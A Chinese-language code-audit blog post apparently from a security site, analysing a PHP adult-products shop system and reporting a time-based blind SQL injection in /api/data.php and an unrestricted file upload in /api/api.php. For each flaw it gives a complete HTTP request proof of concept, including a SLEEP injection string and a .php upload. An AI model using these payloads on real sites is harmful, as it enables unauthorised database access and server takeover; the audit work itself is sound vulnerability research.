PHP代码审计:某成人用品商城系统前台SQL注入&前台任意文件上传

要教会 阅读:912 2025-06-25 08:04:21 评论:0

项目介绍

PHP代码审计:某成人用品商城系统前台SQL注入&前台任意文件上传
PHP代码审计:某成人用品商城系统前台SQL注入&前台任意文件上传

环境搭建

源码获取见文末

源码下载到本地,采用小皮面板搭建

PHP代码审计:某成人用品商城系统前台SQL注入&前台任意文件上传

修改数据库配置文件:www/Mao/common.php

PHP代码审计:某成人用品商城系统前台SQL注入&前台任意文件上传

创建对应数据库导入执行sql文件导入数据,utf8,utf8-bin

配置完成后直接访问即可

代码审计

项目分析

PHP代码审计:某成人用品商城系统前台SQL注入&前台任意文件上传

自研系统,有点眼熟忘记是哪套开发的了,这套源码有问题,前台用户和后台登录不了代码有问题,要教会平台修复一会还有问题,懒得修了,直接前台得了

鉴权代码

PHP代码审计:某成人用品商城系统前台SQL注入&前台任意文件上传
PHP代码审计:某成人用品商城系统前台SQL注入&前台任意文件上传

上工具

PHP代码审计:某成人用品商城系统前台SQL注入&前台任意文件上传

前台SQL注入

搜索query(,发现执行方法有封装的

PHP代码审计:某成人用品商城系统前台SQL注入&前台任意文件上传

那就一个个搜了

对应文件:/api/data.php

PHP代码审计:某成人用品商城系统前台SQL注入&前台任意文件上传

148行执行sql语句,语句中拼接了$sql,$sql在第146行定义,拼接了$search,$search在第133行通过get获取,过程中没有转义和过滤,封装函数也没发现过滤实现,存在注入

测试poc:

POST /api/data.php?mod=list&lx=2&search=caigo%27+AND+%28SELECT+7982+FROM+%28SELECT%28SLEEP%285%29%29%29BnbO%29+AND+%27caigo%27%3D%27caigo HTTP/1.1
Host: www.yaojiaohui.net/cryp
Accept: text/html, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Origin: http://www.yaojiaohui.net/cryp
Referer: http://www.yaojiaohui.net/cryp/list.php
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 0
PHP代码审计:某成人用品商城系统前台SQL注入&前台任意文件上传

前台任意文件上传

搜索move_uploaded_file

对应文件:/api/api.php

PHP代码审计:某成人用品商城系统前台SQL注入&前台任意文件上传

可以看到,这里从接收文件到使用move_uploaded_file上传,过程中只有文件大小和MIME检测,没有对我们上传的文件后缀进行检测,存在任意文件上传

测试poc:

POST /api/api.php?mod=upload&type=1 HTTP/1.1
Host: www.yaojiaohui.net/cryp
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type:multipart/form-data;boundary=-----------------------------7db372eb000e2
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Referer: http://www.yaojiaohui.net/cryp/login.php?mod=2
X-Requested-With: XMLHttpRequest
Origin: http://www.yaojiaohui.net/cryp
Content-Length: 206
-------------------------------7db372eb000e2
Content-Disposition: form-data; name="file"; filename="caigo.php"
Content-Type: image/jpeg
<?php phpinfo();?>
-------------------------------7db372eb000e2--
PHP代码审计:某成人用品商城系统前台SQL注入&前台任意文件上传
PHP代码审计:某成人用品商城系统前台SQL注入&前台任意文件上传
其它的漏洞要教会平台就懒得审了,感兴趣的自己下去审吧
最后

源码下载地址:2025年新版免登入注册成人用品商城系统源码/性用品商城系统/情趣用品商城/易支付 - 要教会

本文为要教会原创,欢迎转载分享。转载时请务必在文章页面明显位置提供本文链接并注明出处。感谢您对知识的尊重和对本文的肯定!本文链接网址:https://www.yaojiaohui.net/wangluoanquan/1550.html

声明

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

搜索
排行榜
关注我们

扫一扫关注我们,了解最新精彩内容